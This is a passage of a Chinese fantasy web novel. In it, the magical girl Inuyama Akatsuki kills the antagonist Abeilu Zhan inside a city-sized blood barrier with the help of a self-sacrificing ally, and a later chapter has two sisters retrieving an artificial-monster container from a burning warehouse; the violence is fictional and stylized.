“因为,如果,如果说。”犬山晓思索了一番说辞,“如果说她们是因为把这件事告诉我们,从而招致报复导致丢了性命的话,那意义就不一样了。我们即使解决了湛也没办法在短期内了结一切与其相关的存在,例如那些数量不明的天使。” 一家族开设赌场,制造大量萨尔里那样的赌徒,并不值得犬山晓怜悯。但她看到一二三四并与之对话之后,对方的生命就在她的脑海里有了个大概的轮廓。这个轮廓不分善与恶,只是存在,似乎没有意义。 这样的轮廓是她以往不曾能够描述的,但随着她逐渐能够抬眼在月光下看清走向未来的道路,那些路上的轮廓就也逐渐清晰了起来。即使没有意义犬山晓也无法完全去无视,因为它们永远存在。 这种感受非常的奇特,是犬山晓无法用语言来描述的,但她又觉得自己可以将这种模糊的描述告诉启明星。 “原来如此,你明白了责任的重量。”启明星的语气没什么波动,“恭喜你,晓。” 这句话如同一道辉光划破深夜浓雾,使犬山晓看清了她的周围,也看清了她的脚下。 “责任,是这样的东西吗?”犬山晓的声音很轻,“我忽然觉得这个世界上有好多的人,每个人的存在都是有重量的,不仅仅是我的朋友和周围的人,而是每一个人。” “我很喜欢你的坦诚,晓。”启明星笑了,“如果说过了的话那就让我再说一遍吧。那么,如果一二三四真的因为这件事丢掉了性命,你会感到懊悔吗?” 不如说,在启明星的思考中,这样的情况发生的概率更大一点。 “我会悲伤,但我不会懊悔吧,这样是不是不太好?”犬山晓犹豫地说,“因为我确实迫切地希望解决目标,让一切恢复到正常的,和平的日常中去。这件事在我看来比一个□□的性命重要些,但我做不到就这样将两边进行对比。” “不,正是因为有你这样的人存在,这个世界才会相对来说没那么危险。晓,我没办法直接告诉你这个想法是好或者坏的,有一天你有了答案就也告诉我吧。”启明星说。 “好,我答应你。”犬山晓点了点头。 车辆停靠在瞭望塔观光区域之外,景点因为紧急情况不开放,也没有安保人员在,一街之隔就是Evo园区,两栋差不多高的建筑之间的马路边上,三人下车。 “我去去就回。”犬山晓朝二人点了点头,将克拉拉交给她的“强度能让一头狂暴的野生牦牛进入冥想时间的药物”黑罐拿出,取出了一些放在普通的药罐中收好后,后将克拉拉给的药罐交给了启明星,“我不知对方的能力,但若是战斗激烈的话我无法保护这个东西,麻烦您帮我收好。” “当然,请务必小心。”启明星接过后点头,“我相信你不会让我担心太久。” 犬山晓笑了笑,她走向因为景点被关闭而没有人在的瞭望塔观光区域,前往电梯口。启明星看着她远去,看着她的身影消失,久久没有动。 “老板。”六十七号忽然开口说道,“请给我药物。” “你的精神状态良好。”启明星没有看他。 “一会就不一定了,不过确实,我可能也不需要了。”六十七号不好意思地挠了挠头。 “…六十七号,你确实对于普通人而言是强大的。”启明星转过身看向六十七号,声音带着警告,“你想要复仇,晓会杀死那个人,你过去的话会死。” 启明星鲜少用如此直白的语句,但她明白六十七号根本就听不懂那些弯弯绕绕,必须直白地说才能让他理解些许东西。 “老板,我会死吗?”六十七号讶异地问道。 “会的。”启明星异常冷酷地说,“你的再生并不是无止尽的,也没有魔法,再加上那人有特殊的手段可以控制天使,你若是去见她,她会杀死你。” “那我算不算我自己的死士?”六十七号炫耀自己刚学会的词语。 “你有什么理由去送死呢?”启明星不理解,她看向六十七号,却还是看不清楚。 “什么理由?”六十七号同样不解,“我不就是为了这个才活到现在的吗?” 启明星哑然,但六十七号没有再犹豫,他抚胸弯腰行礼,那是一个无可指摘的送别礼,规格极高,无处可用,启明星也没有教过他。 “愿我们在不久之后再会!”他微笑着说,转身走向了电梯口。 启明星看着他的身影远去,看着他的背影消失,她的身边空无一人了,许久之后,也拄着拐杖走了过去。 犬山晓看着电梯门缓缓打开,眼前是高空俯瞰用的观光区域,遮光板被拉上后视野不再。此时观光空间内并没有人在,她用了隐身魔法,四处走动了一圈并没有发现显眼的上行通道。 于是她叹了口气,抬头,跳上吊在天花板上的装饰物,蓄力朝天花板击拳,大量琐碎物品掉落之后,有些暗的房间出现在她的头顶上方。她翻身跳了进去,房间内的光照维持在一个昏暗但不会看不清路的程度,一旁有一张医疗用床,以及放着不明药物的柜子,她猜测这里大概是某个医用休息室。 没有警报声响起。 犬山晓并没有在房间内停顿太久,她察觉到了魔力的气息,迅速移开了休息室的门朝外面走去。但那魔力气息近乎充斥着这片空间内的每一处角落,她一边摸索着前进一边探查。 这里与神脉医院有些相似,但更加,不近人情一些,犬山晓想了一会才找到合适的形容词去描述她看到的一切。周围的陈设非常现代化,不如说有些未来化了,她没有找到任何可以按动的按钮或者开关,显示屏倒是随处可以,都暗着。 走廊也是昏暗的,并没有指示灯,一路上犬山晓都没有看到能打开的门,但她移开的那扇休息室的门本身也是与墙壁融为一体,被她强行移开的。这里的一切似乎成为了一个整体,而她是因为没有预约而显得冒昧的打扰者。 很快就要成为破坏者了,犬山晓心想。 魔力与消毒水的气息愈发浓厚了起来,犬山晓一直沿着走廊走,除了一片巨大的荧幕以外什么都没有看到,她加快了前进的速度。不远处的拐角处有光线存在,她顿了顿,小心谨慎地朝那暖色的光线所在的位置走去,拐弯时尤其小心。 拐角后的走廊墙壁上有扇窗户,走廊尽头是电梯门,那大概是入口。 抬头看向窗外,天边的云彩和建筑被日落时分特有的霞红日光侵染了,城市落入红色。 可犬山晓分明记得她进电梯前室外还是白天,她想了想一些可能性,隔空击碎玻璃跳了出去,翻身落在窗沿上,继续向上一跳,停在了瞭望塔的塔顶。 入目可见的一切都是红色,天边的云边缘卷着残红,些许是暗沉的,遥远的城市建筑颜色发黑,像地牢中被血肉侵染过的砖块。过于大面积的统一色泽让天空看上去有些像犬山晓偶然间看过一眼的那片血湖,但这更鲜艳,风也不带奇怪的味道。 在被红色晃到眼睛的同时,犬山晓注意到远处的天空有一个黑点在移动,很快,点牵成线,那不是黑点,而是一柄黑色的长枪,随着距离近了,她看清了那上面的倒刺。 犬山晓身体一偏,两米长枪扎进她身后的建筑之中,带起一片烟尘之后消散了。 “来的人是你。”黑色消散之后有身影出现,犬山晓警惕地回头,看见一个与艾克里普差不多高的黑发青年出现在那其中,她身着不规则设计的黑色马甲以及与天使穿着的稍有不同的罩裙。脸颊两侧有被映照成异色的圆形耳环在发丝间一闪而过,以及她的左肩处,一枚神脉医院或者说阿贝尔家族特有的赤色水滴形状的水晶胸针别在上面,黑色的水蛭遮去部分光辉。 “亚贝琉湛。”犬山晓笃定地说道,她看到对方左眼上的眼罩时就明白了对方的身份。 “初次见面,若是要呼唤我,就请只用我的名字。”湛不急不缓地笑了,她的眼睛微微地合起表达亲切,语调婉转,那副面孔比犬山晓见过的记录中年轻许多。 若是说十年前访谈中那意气风发的湛是30岁左右的青年人,那么眼前的她看上去顶多只有20,但她的笑容沉着,抚去灰尘的动作也是稳重的,没有人可以因那副面孔就随意将其定义为一个大学刚毕业不久时的年轻人。 “白夜社中的几大家族近几天引发动乱,之前派人造魔物在市区行凶的事情,以及其它,指挥那些天使的人,都是你。”犬山晓换上魔法少女装束,金属面具覆盖上她的脸,连同手甲一齐在赤色的世界中闪耀着。 “真是耀眼。”湛赞叹着说道。 “你说什么?”犬山晓感到疑惑。 “你的身姿,你宣言我的罪行的模样,你的装束。”湛语调抑扬顿挫着,如同在朗诵诗词,“真是无比耀眼,红色确实非常适合你。” 犬山晓面具下的眉头皱了起来,她不理解,但她并没有与对方谈论这个的打算。 “不过这些不够。”湛忽然转变了表情,她的眉眼一动,流转为忧伤哀愁的模样,“若是你准备杀死我,这个程度的决意是不够的。” 说着,她右手抬起,手掌上翻做出一个向天邀请的手势。 犬山晓警惕地向上看去,霎那间,赤色的天空中出现了近百个黑点,不,那些是仅显露出一点的黑色长枪。这让犬山晓大为震惊,她不理解为何这样大面积的魔法能在现实中被使用,但在思考这些的同时黑色长枪已经开始坠落。 顺应重力,黑色的雨线们调转了方向,犬山晓毫不犹豫地选择先消除这些长枪带来的威胁以防止它们坠向地面伤害普通人。她将腰间的布抛起,那如同血之洪流一般的布料转瞬间扩大,包住所有指向犬山晓的黑色枪尖,那尖头在布料的限制下向下刺出一个巨大的倒三角,却也缓缓停止住了,随后,消散在了空气中。 不等犬山晓松口气,她的身后有破空声传来,她迅速抬起手甲转身,湛双手持黑色巨剑旋转的身影一闪而过,宽刃抵住犬山晓的手甲,爆裂声鸣叫,犬山晓在半空中被巨力击飞出去,坠向地面。 侧翻之下,城市半黑半红。 但在恢复平衡站在地面上的一瞬间,她就意识到地面上的情况与之前不同。除了那过于炫目的晚霞色以外,地面上没有其它颜色了,没有交通灯,没有广告灯牌,没有汽车鸣叫,没有人。 整座城市空无一人,仿佛被红色吞噬了所有生命一般。 “终于注意到了吗?”头顶传来湛那婉转的语调,犬山晓抬头,看见湛站在一处三层建筑小楼的屋顶朝她微笑,赤色天空之下那代表笑容的线有如刻痕一般刻意。犬山晓认识这一处建筑物,位于底层的拐角餐厅是她去过的快餐店,玛格丽特披萨烤的很好。 但此时,店内空无一人,招牌也没有在发光。 “你做了什么?”犬山晓跳起,冲向湛,毫不犹豫地抬手接下她旋转着甩来的一击重剑横拍,这次她没有再被甩飞出去,一个翻身卸力落在楼顶。 “居然还没注意到吗?”湛的语气变得低落,“你怎么会如此愚笨,我可是知道的,你在战斗中总是能很快抓到诀窍。” 那语气刻意为之的情绪让犬山晓大感不适,但与此同时,她也注意到了周围那异常的,但又有些熟悉的氛围带给她的感觉,但这结果太过于不可思议了,以至于让犬山晓从一开始就否定了这一答案。但此时,事实摆在眼前,犬山晓看向湛,对方周身魔力沸腾,与她见过的那些天使完全不是一个级别的存在。 “结界?”犬山晓不可置信地问道,湛竟然有足够的魔力布置如此大范围的,以城市为原型的结界。 “没错。”湛笑着张开双手,带着倒刺的长鞭从她的身侧刺出。 用以往获得的结论来思考,犬山晓迅速意识到,湛所拥有的巨大魔力来源大概与血湖有着直接关系,这么一来她就不得不考虑对方的魔力是否带有污染成分来,虽然她带着药物,但短时间内药物对她不会奏效太多次。 但是这是谁带给她的呢?是谁将血湖放进了一个在2009年之前与Evo,亚贝琉,阿贝尔完全不相干的普通人的身体里,并让她能够活到现在并变得如此强大,如此邪恶的呢?犬山晓不理解。 犬山晓没有选择击退那些鞭刺,而是跃起避开,但那些黑色的蛇状物似乎真的有生命一般凭空拐弯换了方向,刺向半空中的犬山晓。 同时,湛握住凭空出现的长柄斧,在手里旋转一圈之后跳起朝犬山晓袭来,那金与红的水晶残留了些许光辉在原地。 多面夹击之下,犬山晓引出右手手腕血管中的血,化为血雾,雾气在半空中有如蛛网一般扩散,延伸,形成尖刺与长鞭相对。 她抬手迎上湛的下劈,这是犬山晓遇到过的力气最大的敌人,那力度连带着犬山晓身一齐向下压去,瞬间击碎了她脚下的天台,连带着建筑碎片一齐掉进建筑物中。 犬山晓右手挡住锋利的斧尖,左手握住了那黑色长柄,用力。刹那间长柄斧断成两截,湛没有犹豫,趁着二人还在下坠,在半空中旋转身体以践踏之姿甩出腿鞭,犬山晓不避,抬手抓住对方罩裙下的西装裤腿,化力为己用将湛整个人向下丢去。 建筑物隔层瞬间全部被击碎,犬山晓从血雾般的灰尘中站起身,手上还拿着湛断开的小腿,但她的右手手心传来刺痛,那长柄斧在碎裂的瞬间竟从碎片中炸开了尖刺,从内部划破了她的皮肤。疼痛直到她冷静下来才传达到脑海里,注意到伤口时已经有些太晚了。 血色晃眼,眩晕感出现,犬山晓没有犹豫,迅速丢下手中的残肢掏出药物服用。药物在进入胃部后就迅速起效,犬山晓平静了下来。 小腿的横截面连出血线,牵引向不远处缓缓站起的湛,并迅速飞去其该有的地方,她踢了两下腿,除了断裂的西装裤外一切恢复如初。湛没有改变她的微笑。 “真是悲剧性的行为。”湛悲悯地扶住了面颊,“你的名字是,犬山晓对吧?可我记得你该是有个别的名字的,作为这样的存在一直存活至今,你的历程一定十分精彩吧。” “真要这样说的话你不也是一样的,亚贝琉湛。”犬山晓丝毫不被动摇,“你的力量,你的姓氏,你所在的位置,全都不属于你。” 湛没有说话,笑容更深了些。 “真想让你为我唱词啊。”她的的双手各拿起一把长柄斧,“若是做不到的话,能为我带来足够精彩的感情表演也不错,那些药物还能为你那特殊的思想奏效多少次呢?” 说着,她再次冲向犬山晓,带着如刀疤的微笑。 犬山晓没有理会她那些莫名其妙的言语,她冷静地判断对方的动作。在几个来回之间,犬山晓发现对方实际上并不擅长战斗,这是可以理解的,湛若是拥有这样的力量,同时目标只是普通人类的话,她确实不需要训练战斗技巧。 但即使这样,在必须确保自己不被攻击到的情况下,犬山晓也很难找到机会伤到对方,甚至对方即使受了伤也无所谓,被洞穿胸口的伤也无法改变她的笑容分毫,转瞬间就痊愈了。 联想到这是在对方的结界里,犬山晓就能理解对方的魔力消耗大概并不多。 “不要犹豫,即使只是靠死亡锤炼出的动作也是有角色特点的的。”湛再次旋转着挥动长柄斧,“这血色多适合你,夕阳也好,血液也好,就把这些当作幕布装饰品如何?” 犬山晓没有说话,她在寻找破敌的机会。 但湛特别喜欢说话,她战斗的方式有刻意表演的成分在其中,即使这样的行为偶尔让她露出破绽,但她的力量让她肆无忌惮。 “可惜这里没有交响乐团,少了些余兴。”湛遗憾地说,“把你的心脏扯出来如何?用心跳与动脉为基础,让我也试试看拉小提琴吧。” 说着,她挥动巨剑,与她等身高的黑 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“不如现在就来重演吧?”湛期待地说,“我还没有当过编剧呢。” “你这个疯子!”犬山晓完全不理解对方在说什么,但这不妨碍她生气,她的金属面具遮住了表情,但声音足够传达怒意。 “…我的审美轮不到你指摘。”湛笑容淡了些,天空又有雨一般的尖刺落下,犬山晓明白这种大面积的攻击目标恐怕并不是用来针对她的,而是用来杀死更多的,更大面积的人。 “谁说那个了?我在说你脑子有病!”犬山晓怒斥道,“你在坐上这个位置前不过是个普通人而已,你也有爸爸妈妈吧?你敢面对她们说出你都做了什么吗?” “经典台词时间。”湛不为所动,“这种事情在我入职前签字的时候就已经知晓了哦?” 尖刺雨一般落下,形成黑色监牢,转瞬间爆开,犬山晓一瞬不察被击穿左脚,这次她没有犹豫,红布一闪而过,左腿齐根断开。 “…你也是呢。”湛见了这一幕,笑容变得有些奇怪。 “别把我和你相提并论。”犬山晓忍住疼痛迅速再生自己的左腿,并将断裂开的左腿化为血色尖刺袭向对方。 “确实不行呢。”湛保持微笑,“魔法少女怎么能和反派相提并论呢?” “那你能去死吗?”犬山晓不抱希望地问道。 “你是真的在问我。”湛一愣,“我也得认真地回答你吧,那么,不行。” 血流化为几缕尖刺,并没有刺中湛,而是画了个圈,收紧将其围起来之后带向焦红天空。 “你必须死去,这一切不能继续下去了。”犬山晓郑重地说,“我真的不知道你们为什么要这么做,你只是普通人,并不是阿贝尔家族的人。” 血色的空间中有狂风吹拂,并非自然原因,是二人移动速度太快。 “哈哈哈——”湛笑了,她的黑发狂乱地翻涌着,带走了覆盖左眼的眼罩,那只血红色的瞳孔在赤色之中也是得如此极端地红,像是要燃烧了起来一般,“何必理解我呢?这片红色如此美丽,你何必看我?” “…我确实不该尝试理解你的。不过我之后可能会理解你在说什么吧。”犬山晓踩着血色绸缎飞跃而起,促使那些红色拽着湛飞向高处,在高空对方那纯粹的力量无处施展,更有利于她。 “要问老师吗?不如问我吧,我还挺擅长评价的。”湛说着,有长枪破空而来击穿了她本身,以及她身上的那些红色束缚,随即她翻身落下,轻巧着陆。二人在落脚点再次兵刃相接。 “你说话我听不懂。”犬山晓实话实说,“启明星侦探在这一点上就比你好很多。” “侦探?”湛重复了这个词,“现在居然还有勇士从事这种小说角色一样的职业吗?” “启明星侦探还挺有名的吧?事务所也在市区。”犬山晓有些惊讶对方不知道启明星的存在,“而且她也和白夜社的部分人有联络,你是不是脑子不清醒了现在不记得了?” “…这种时候你的真诚真是多此一举呢。”湛微笑着说。 二人所在的位置回到了瞭望塔的塔顶,废墟之中,二人相视,都在思考如何杀死对方。 “这不是我以前的老板吗?”讶异的声音从二人所在位置的下方传来,六十七号从破碎的手术室中跳上塔顶,并顺势优雅地行礼,“好久不见!” “六十七号先生!”犬山晓有些惊讶对方会来到这里,“这里很危险,请退后些吧。” “哦,逃走的猎犬。”湛转了转手中的刀尖,“能活到现在真是命运在优待你,这份好运到今天就试用结束了,感谢参与,后续的使用费用你大概是承受不起的吧。” “我就是为此而来的。”六十七号直起身体,姿态优雅,真诚地笑着看向了犬山晓,“犬山小姐很头疼怎么杀死她吧?” “确实。”犬山晓点了点头,“她恢复很快,而且在这里的话她的魔力消耗非常少。” “这点我有办法!”六十七号抚住胸口被风吹起的领结。 “我也想洗耳恭听一下呢。”湛微笑着说。 “那我认真说。”六十七号清了清嗓子,他蓝色的头发也被血色的天空染上了红,在风中狂舞,“我们每个人的RP系列药物中对d类物质的承受能力是有上限的,超出了上限之后就会陷入异化。” “我也有吗?”湛疑惑地点了点下巴。 “有的!不过您经历过彻底的换血,承受能力特别高!”六十七号迅速回答。 “…你不该知道这一点才对。”湛微笑着问,“谁告诉你的?” “我的现任老板!”六十七号展开双臂郑重地介绍道,“启明星!现在她不是侦探啦。” “哦,对哦!”犬山晓差点忘记这一点。 “真是头疼,这戏剧角色一般的名字怎么会在现在才出现在我的耳朵里?城市剧院的赞助我可占了百分之八十。”湛皱着眉,像是在想什么。 “老板她是偏调查人员类型的吧?或者说学者。”六十七号解释道。 “请先说说看如何杀死她吧。”犬山晓纠正了话题。 “哦,好的!”六十七号回应道,“总之,我们兄弟两个本身的长处就是魔力储备,以我的血液为载体攻击她肯定会有效果的。” “…哦。”湛意识到了什么,“你,是拉德的弟弟。” “他现在确实是叫这个名字来着?”六十七号没有太在意,将袖子卷起到了手肘,“犬山小姐,我知道您能主动操控血液,现在请使用我的血液作为武器。” “…我没办法保证你的生存。”犬山晓犹豫地说道。 “我说我快要死了,死期就是现在!”六十七号的笑容保持了一贯的水准,他摸出罩裙里的手术刀毫不犹豫地划开几处动脉。 那动脉中有相似的魔力存在,但不具有攻击性,犬山晓没有再犹豫,那血液不断涌出,包含生命力,她不该再犹豫。 “如果你死了,我会记得给你扫墓。”犬山晓郑重地说道。 “我还能有坟墓啊。”六十七号笑得开心。 湛却是一反常态地没有说些什么,她看着六十七号。 “我不会道歉的哦。”六十七号强调说,“是您先决定让我死去的,而且您也说了什么‘若是他要咬碎我的咽喉也无所谓’之类的话吧?。” “…是我。”湛说道,“当然是我。” 直到那血液汇集为一定数量,犬山晓将其化为一柄一米长手掌宽的刺刀,覆盖在手甲上,血色熠熠生辉,闪耀着生命力与决意。 “这次,你会死去了。”犬山晓说道,起身冲向湛。 二人再次从瞭望塔坠向地面,在半空中打了几个来回,兵刃相接,血色刺刀划过湛的侧臂带起一片血痕,那飞溅而出的血液没有再化为武器,而是如平常的血液那样飞溅而出,消散在如黎明前的流星轨迹般的红色中。 “原来如此。”湛明白了为何如此。 “被自己决定杀死的人反噬的感受吗?”犬山晓问道。 “这个的话倒是很久以前就体会过了。”湛微笑着,主动加速坠向地面。 二人在空旷的街道上不断击毁建筑物,湛一直在笑,犬山晓不说话,但能发现对方的气息逐渐衰弱了下来。 “你到底在笑什么?”犬山晓撕下了对方的右臂,这次,她没有恢复。 “有什么不能笑呢?”湛依旧在微笑,“一切都是可笑的,有一天你也会理解的。” 地面震动,周围的建筑物成群倒塌,犬山晓明白这是对方在使用某种能力,与结界相关。 “我恨透这座城市了。”湛如同宣讲台词的主演一般夸张地说着,抬起了仅剩的左手,左眼染着血,面色如深井之底的猩光,“我早就想这样做了,你是第一个观众,感到期待吗?” 霎那间,地面上升将犬山晓抬起,她稳住重心看向脚下,像是一整条车道一般的木台破开建筑限制缓缓升起,残阳映照在漆黑的木头纹路上,隐约带来一些血腥气。木台的周围升起无数黑色荆棘尖刺将她围困其中,两侧有石柱破空升起,天空缓缓出现一条黑线。 如果说从下往上看是黑线的话,那从侧面看就能看到那是一面巨大的刀刃了,这是一座漆黑的,巨大的,藏与城市中的,舞台装置般蠢蠢欲动的断头台。 “行刑者,原来如此。”犬山晓明白了对方代号的由来,那些黑色的武器也都是刑具。 “真是美丽的城市建筑。”湛赞叹道,“不过这个过于形式化的代号不是我取的哦。” 巨刃落下,将犬山晓吞没其中,湛就这样看着血液飞溅而起,微笑的表情没有因强风变动分毫。 最后,黑色缓缓消散了。 “…这就有点夸张化了吧?”湛看向那地面上缓缓涌动着的两截身体和巨量血液,那并不是平均分成两截的,巨刃碾碎了一部分身体,包括心脏和大脑,这是她刻意为之的。 血色涌动,沸腾,回忆,再次聚集为犬山晓。 “我死不掉的。”犬山晓平静地说,对久违的复生没什么反应。 但那血色的刺刀也消散了,犬山晓因为瞬间的巨大疼痛与混乱感到头晕眩目,想摸出药物服用,却发现那药物也被断头台销毁了。 最坏的情况啊,犬山晓集中精力去控制血液循环,她的余光看见有什么落在地上,是个人影。那是六十七号,失去理智却还在继续再生的六十七号。 “…就是因为这个,你才没办法活下去的。”湛叹了口气,“适者生存,你不合适而已。” 六十七号没有理会这个说法,只是如野兽般扑向湛,被她用巨剑拍开了。 犬山晓抬起手,分出心思去控制那些散落的血液,六十七号根本不顾及自己受伤,血液越来越多,逐渐能够凝聚成一体,但只是很小一点,但犬山晓知道,这足够了。 湛后撤一步避开六十七号虚弱的扑击,抬手就要将对方劈成两半,但很快,她发现自己的视线向后倾倒,在翻涌喷溅的血液中,她意识到,自己被分为了上下两半。 半空中,一截极细的长线逐渐消散为血雾。 “精彩。”湛赞叹着说道。 “你会死去。”犬山晓笃定地说,六十七号倒在一旁生死不明,她尽全力控制自己清醒。 “若是真的能死去就好了。”湛依旧在笑,“哈哈哈——被爱着,被渴求的灵魂怎会消逝呢?我们还会重逢的,在下一幕,在落幕之后,我们会彼此亲爱着拥抱吧!为此我不会死去,也不会迎来结局——” 奇迹般的,犬山晓能理解她在笑什么了。 那并不是在得意于自己的力量,湛或许如她的面孔,如魔法少女的特性一般,自从拥有了这具崭新的身体的一刹那,就不曾改变过了。CEO这个位置带给她的权利,责任,义务,以及那些杀人行为本身只不过是催化腐臭气息的佐料,阿贝尔的手术将她定格在了许久前的那一瞬间。 魔法少女由愿望而生,犬山晓不知道湛又如何。 无论是对于死亡的感受也好,对力量的感受也好,对未来的期望也好,自从奇迹降临的那一瞬间,一切都无法再次改变,一切被定格,如永不消逝的魔法那般。 不,犬山晓心想,这本来就是魔法。 “你又是为什么无法死去呢?”犬山晓问道。 “…这就得问我的老朋友了。”湛平静了一些,似乎是因为感受到了身体的虚弱,说话也没那么刻意了,“我不会剧透的,你自己看下去吧。” “你也害怕吗?”犬山晓问。 “现在可不能说,会被观众取笑的。”湛笑着说。 不远处,有个矮小的孩童身影从瞭望塔处的废墟匆忙跑来,那是启明星。她本来还拄着拐杖,但很快她就把拐杖扔开了,也把眼罩摘掉扔到一边,全力朝目标奔跑而去。 “晓!”启明星迅速把药罐塞进犬山晓的手里,顾不上说别的东西,摸出针管朝六十七号跑去。虽然犬山晓自己都认为是错觉,但有一瞬间,在启明星的头发因为匆忙而散乱地遮去她脸部的一瞬间,犬山晓觉得她的五官与湛的五官十分相似。 “老板?”被扎了一针的六十七号清醒了一些,语气恍惚。 “是我。”启明星说着,继续给六十七号扎针,“因为你,之后又得去订制服了。” “…我已经不需要继续活下去了。”六十七号恍惚地说。 “你在说什么鬼话?!”启明星也顾不上语言礼仪什么的,张口就骂。 “她死去了,我的复仇结束了。”六十七号淡然地说,“我还有什么好活下去的?我知道的,您也没那么需要一个助手吧。” “…你就当我需要一个观众吧。”启明星没有犹豫,手指也没有颤抖,“你也没别的用处了,只要能看着我,然后赞美我就可以。” “哈哈——”六十七号笑了,像是在哭。 真的很像啊,犬山晓意识到了这一点,另一个人也是。 “你,”湛的声音带着巨大的困惑,她仅剩还能动的上半身被她仅剩的左手撑起,疼痛没有干扰她的理智,或者说她没有感受到疼痛,“我怎么会,一直没有见过你呢?” 她不顾自身正在迅速死亡,近乎是疯狂地朝启明星爬过去,黑发散乱,血瞳扩大翻涌。 “我可是受您的董事会秘书关照多年,见没见过没多大差别吧。”启明星没有多意外,她确认六十七号开始恢复之后就转身看向湛,“初次见面,很遗憾,我们都不太体面。” 湛看向启明星,启明星也看向她,湛的左眼在涌动,剩下的一只暖棕色瞳孔虽然被血液侵染,却也一眨不眨地看着启明星的脸。那目光扫过启明星脸上的每一寸,没有覆盖眼罩的孩童的脸颊,与她好不容易从思维深处翻出来的那张照片上的脸,缓缓合为一体。 眼神不过是表情的产物,眼球外表是不会随着人年龄的增长而变化的。 随后,她忽然开始笑,那是疯狂的,带着纯粹的喜悦的,歇斯底里的大笑,似乎是在终局不明不白地结束多年以后的某个瞬间忽然理解当年发生了什么一般,她释怀地,突如其来地放声大笑。但或许是因为她即将死去了,那笑声无力地夹杂气音,更像是在哭喊。 笑声回荡在血色的城市中,回荡在她洒落一地的血液中,回荡在启明星的前方半米处。 “我就说你们去哪了,原来是在这里!”湛说着意义不明的话语,她只剩下一只手了,却还是想去触碰启明星的脸。 “…什么?”启明星的心跳如雷般鼓动,某种巨大的真相降临于此,于这赤红色的心像空间中,即使主人死去,这庞大的血色也会留存一段时间吧。 眼睛,面孔,年龄,以及从未见过面的这一异常,转瞬间,启明星有了一个猜想。 “听着。”湛忽然恢复了冷静,但她的左眼依旧在涌动,似乎变成了液体一般流出鲜血溢出眼眶,让她因情绪扭曲的面孔看上去骇人又狼狈,但她丝毫不在乎,“你绝对不可以变成我这幅模样,这样,我才能获得自由。” 她说这句话的时候声音残破地近乎是在泣血,喉管里疯狂地涌出血液,犹如幕布,但她的右眼,那普通的暖棕色瞳孔,却闪动着不同于血色的奇异光芒。 启明星一顿,伸出手去触碰湛的脸颊,但在她接触到的一瞬间,湛消散了。 “那么,生日快乐。” 先是她残破的身躯,随后是落下的手臂,随后是头颅,在微笑消失之后,那仅剩的,她的左眼,化成一团血液,落入了地面之中。 结界缓缓消散,湛确实死去了。 77.INMATE-014 森山寺姐妹二人与犬山山白一同回到了仓库之中,火焰还在燃烧,大面积的篷布被点着后塑料带起了对呼吸道不友好的味道,黑烟涌动。温度与呛人的烟霾并不能阻挡她们前进的脚步,犬山山白也没忘记带上她那一坨被称为衣物的东西。 “那个衣服是你自己的衣服吗?”森山寺未央忍不住问了。 “当然是我的!”犬山山白将它抖了抖,展示了出来,“改了几次后看着是有点奇怪吧,不过穿上就正常多了。” 一坨布展开了也不过是一块布,森山寺未央实在是看不出来这衣服要怎么穿。 “八成是紧身的防弹衣什么的昂贵自家特色产品,别太在意了。”森山寺未雅说。 三人在罐头器皿前站定。 “那么,我们要动手了。”森山寺未央看向犬山山白,“你见过之后就要离开这里哦,说好了的!” “让我挑一下。”犬山山白自然而然地无视火焰走上前去,火焰不会无视她,边角燎起的黑烟染上她的衬衫,她没注意。 “挑?”森山寺未雅一愣,“这里面有某一个原先是你认识的人?” “什么?!”森山寺未央大惊,“可是这些人原来不全都是。” 是身患残疾的孤儿,是实验体,是代号rp-h,怎么看都和作为□□家族家主的犬山山白沾不上边。 “没错,你们还真是聪明。”犬山山白一边观察着那些全都一模一样的灰白色器皿一边说,“不过我那时候如果出意外,或者以后不出意外的话,也会变成这种样子吧。” 她没打算隐瞒,自然,在自己脑子里响起另一个人的声音之后她就没打算隐瞒自己脑子里正在想的东西了。 “你虽然强壮但与那些存在并不相似吧,你也不是那些孤儿的一员。”森山寺未雅冷静地质疑道,她并不觉得犬山山白会在这种事情上说谎,但这起因经过实在可疑。 “还是说,你其实是因为目前没有出意外,才成为这个家主的吗?”森山寺未央问道。 犬山山白背对着二人,覆盖红手套的宽大手掌挨个抚摸过每个器皿,不知道哪边比较脏。 “是,我是普通人,所以我还在这里。”她说。 “你注射过生长激素。”森山寺未雅现在能肯定这件事了。 “确实,不过要把我想像成小孩子的话就算了吧。”犬山山白爬上了器皿的上层去摸索内部的那些,声音回荡在工厂内。 “那些生长激素,就是rp-c或者其它系列的延伸注射药物吧。”森山寺未央想通了关联,“但无论过程是致幻还是加速生长,甚至是激发魔力,如果没有成为天使的话结果都是被封进这些罐头里面。” “大概率就是这样了,她知道这一点,而犬山家过往的家主也都是这个结局。”森山寺未雅点头,她意识到犬山山白并不是一个无法独立思考的孩子。她的行为和语句都是自己思考过后的产物,也就是说,她对自己负责。 森山寺未央沉默不语,森山寺未雅看向她,理解她的感受。 “未央,不用去可怜她。”森山寺未雅说道,却也没有说更多了。 “为什么?我不理解。”森山寺未央看向森山寺未雅,寻求一个答案,“如果说我们是魔法少女的话,那我们就应该去可怜那些受害者吧,我们不该做些什么吗?” “你想做些什么?”森山寺未雅问。 “是我们!”森山寺未央焦急地纠正。 “是你,未央。”森山寺未雅摇头,“我的看法是,不要去可怜她。” “为什么?”森山寺未央还想问什么,犬山山白从上面跳了下来,扛着一整个灰白色器皿,落在地上的时候激起一阵片灰尘。 “就是这个。”犬山山白让器皿立在地上,“你们刚才在吵架?” “…你怎么找出这个的?”森山寺未央撇过脸岔开了话题。 “感觉!”犬山山白坦诚地笑了,牙齿在火光中闪闪发亮,“我直觉很准哦。” “那么,作为前提,你应该知道这些人造魔物长什么样吧?”森山寺未雅郑重地说,“你知道它不会有自我,不会记得你,不会有回答你任何问题的能力,甚至而言我们不确保它能醒过来。这样的情况下你顶多看上一眼,而且这是在你仅凭直觉挑选出它的情况下,我们不会再为你使用第二次能力了。” 犬山山白看向森山寺未雅,森山寺未央也看向她的姐姐。 “在确保这些的情况下,接下来,我们会强行将它带出来,随后若是它开始行动,我们会杀死它。若是它出来后没有被激活,我们也会销毁它,你无法带走它。”森山寺未雅一字一句地说,“你都明白了吗?” 这是一段免责协议,森山寺未央看向犬山山白,觉得她可能没办法理解其中的含义。 “是的!”犬山山白没有丝毫犹豫就答应了下来。 “那么,你转过身去。”森山寺未雅点头。 “…那我们动手了哦。”森山寺未央还想说些什么,却也没有说出口了。 犬山山白转身,森山寺姐妹使用魔法,一阵水流声凭空出现,随着咚的一声,有什么呱呱落地,却也没有因为想要呼吸而哭泣,如死胎一般在非生物带来的异常温暖中降生。 